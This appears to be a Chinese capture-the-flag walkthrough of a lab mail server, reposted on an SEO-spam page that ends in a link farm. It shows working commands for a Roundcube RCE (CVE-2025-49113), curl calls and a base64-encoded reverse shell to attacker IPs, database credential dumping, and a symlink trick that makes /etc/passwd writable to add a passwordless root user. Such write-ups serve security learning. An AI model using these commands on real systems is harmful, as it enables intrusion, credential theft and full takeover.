当前位置: 首页 > wzjs >正文

网站建设与百度推广别墅庭院园林景观设计公司

网站建设与百度推广,别墅庭院园林景观设计公司,网站一个多少钱,网站收录作用Rustscan扫描我们开局便拥有账号 tyler / LhKL1o9Nm3X2,我们使用rustscan进行扫描 rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A Web服务漏洞探查 我们以账号tyler / LhKL1o9Nm3X2登录webmail,并快速确认版本信息。该…

Rustscan扫描

在这里插入图片描述

我们开局便拥有账号 tyler / LhKL1o9Nm3X2,我们使用rustscan进行扫描

rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A 

![[Pasted image 20250714084857.png]]

Web服务漏洞探查

我们以账号tyler / LhKL1o9Nm3X2登录webmail,并快速确认版本信息。
![[Pasted image 20250714085806.png]]

该版本存在RCE漏洞
![[Pasted image 20250714085846.png]]

我们找到相应的CVE漏洞POC
![[Pasted image 20250714090518.png]]

反连shell建立

user权限获取,我们先探测拥有哪些shell

#探测命令执行情况
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探测nc python 等软件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash开启反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'

![[Pasted image 20250714092916.png]]

Cat查询存在用户 & ss查询端口开放情况

我们快速信息搜集,发现了用户、端口等信息

cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp   LISTEN 0      100        127.0.0.1:25        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:993       0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:995       0.0.0.0:*          
tcp   LISTEN 0      80         127.0.0.1:3306      0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:143       0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*          
tcp   LISTEN 0      100          0.0.0.0:110       0.0.0.0:*          
tcp   LISTEN 0      100             [::]:993          [::]:*          
tcp   LISTEN 0      100             [::]:995          [::]:*          
tcp   LISTEN 0      100            [::1]:25           [::]:*          
tcp   LISTEN 0      100             [::]:143          [::]:*          
tcp   LISTEN 0      100             [::]:110          [::]:* 

爬取数据库

我们发现了web服务的config文件/var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

我们尝试访问3306端口,进入数据库

mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"

经过网上的查询,我们了解到roundcube的users表并不包含密码。所以我们转战session,我们解密session的var字段,获取jacob用户的密码hash

L7Rv00A8TuwJAr67kITxxcSgnIk25Am

![[Pasted image 20250714110703.png]]
![[Pasted image 20250714110720.png]]

有趣的是我们还发现了/var/www/html/roundcube/bin/decrypt.sh工具

./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD

![[Pasted image 20250714110847.png]]

密码正确,切换成功
![[Pasted image 20250714111059.png]]

翻找邮箱文件获取账户密码

我们登录邮箱,发现邮件一个说jacob改了密码,一个说jacob拥有below访问权限。
![[Pasted image 20250714111614.png]]

![[Pasted image 20250714111625.png]]

gY4Wr3a1evp4

【TIP?】有趣的是我们密码被修改了,可为什么su却可以正常运行?是因为我们通过RCE进入的是一个虚拟机。

sudo二进制文件提权

接下来我们发现sudo -l 里面有一个命令below,并发现该命令的dump功能一旦出错,就会写入到/var/log/below/error_root.log 文件中。

-rw-rw-rw-  1 root  root      0 Jul 14 06:48 error_root.log

那么结合软连接跳转,我们可以创建新的文件,并且权限情况。

ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#创建的新文件
-rw-rw-rw-  1 root  root    588 Jul 14 06:52 test

![[Pasted image 20250714145232.png]]

我们现在有创建新文件的能力,那么我们验证以下是否拥有修改文件权限的能力。

rm test
touch test#获得的文件权限
-rw-rw-r--  1 jacob jacob     0 Jul 14 06:55 test#执行攻击
ln -sf /var/log/below/test /var/log/below/error_root.log
#出发错误从而写入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件权限
-rw-rw-rw-  1 jacob jacob   226 Jul 14 06:56 test

可以看到文件的所有者没有改变,但权限情况变了,所有人都可写了,这可能非常危险。这就确定了我们可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519来完成提权。下面是两种做法

# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx 

![[Pasted image 20250714150307.png]]

# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519

![[Pasted image 20250714150057.png]]

没能成功,暂时不了解为何,可能是/root/.ssh/文件夹的权限存在控制情况。后续进入root账户后,发现确实为该问题。
![[Pasted image 20250714150934.png]]

所以我们尝试是否能够用同样的办法修改文件夹权限,目录没法做到相同的事情,所以该方法无法使用。

ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now

文章转载自:

http://ocb9yRyQ.chxsn.cn
http://y4DlvV06.chxsn.cn
http://99ggUUfw.chxsn.cn
http://jylY8XWS.chxsn.cn
http://onOrenld.chxsn.cn
http://7wal5lcl.chxsn.cn
http://xkg0ou15.chxsn.cn
http://CEcVYN5C.chxsn.cn
http://meUTJmXM.chxsn.cn
http://y8xKnSvj.chxsn.cn
http://3pFP4FvZ.chxsn.cn
http://uqcu8EpT.chxsn.cn
http://S647omds.chxsn.cn
http://DPR9Icdy.chxsn.cn
http://tEk3McvH.chxsn.cn
http://BFmsDhNz.chxsn.cn
http://5HoxQ0Wl.chxsn.cn
http://UoIWdtRL.chxsn.cn
http://cYpdnokK.chxsn.cn
http://2QjcM3oL.chxsn.cn
http://J26gMuDp.chxsn.cn
http://1yNOTiqi.chxsn.cn
http://5mu32WZI.chxsn.cn
http://D3nlD0Sl.chxsn.cn
http://MKg2ngKf.chxsn.cn
http://xMGzbJZE.chxsn.cn
http://6ZCFqxyh.chxsn.cn
http://EP34wHgC.chxsn.cn
http://CtcuYN0A.chxsn.cn
http://s6ZUxIgz.chxsn.cn
http://www.dtcms.com/wzjs/697337.html

相关文章:

  • 网站外包制作网站链接推广怎么赚钱
  • 龙文区城乡建设局网站呼和浩特城乡建设网站
  • 网站备案幕布照如何做seo外贸推广
  • 做图表好用网站或软件四川省住房和城乡建设厅网站域名
  • 分析公司网站的开发策略wordpress搬家后页面空白
  • 国外网站搭建平安区wap网站建设公司
  • 服装网站建设的技术可行性汕头老城区图片
  • 教育网站都有哪些网站怎么优化关键词排名
  • 高校保卫处网站建设工作佛山外贸网站建设价位
  • 高端网站搭建公司域名问题网站不更新
  • 佛山营销型网站设计京东短链接生成器
  • 做网站销售好吗wordpress搬家 打开404
  • 福建省建设资格注册管理中心网站做房产网站用什么软件
  • 装饰公司网站模版怎样维护网站
  • 学做网站论坛会员账户免费加速器
  • 一个网站是如何知道是谁来访问上海h5网站建设
  • 开家网站建设培训学校小程序开发平台哪个产品好
  • 行业门户网站建设费用宝安网站制作
  • 简单的cms建站系统python培训班
  • 建设 网站工作汇报做网站的一般多钱
  • 管理网站制作wordpress国内主题排行
  • 网站建设一般多少钱新闻网站建设预付款
  • 电商网站建设培训学校小说网站排名
  • 网站建设费一般多少钱给我免费播放电影
  • 什么做网站赚钱搜索引擎营销就是seo
  • 怎么看网站做的外链php微信公众号开发教程
  • wordpress做分类网站建设局和住建局的区别
  • 网站建设主要推广方式张家港早晨网站制作
  • 图书馆第一代网站建设专业网站托管的公司
  • 仿站违法吗门店设计装修效果图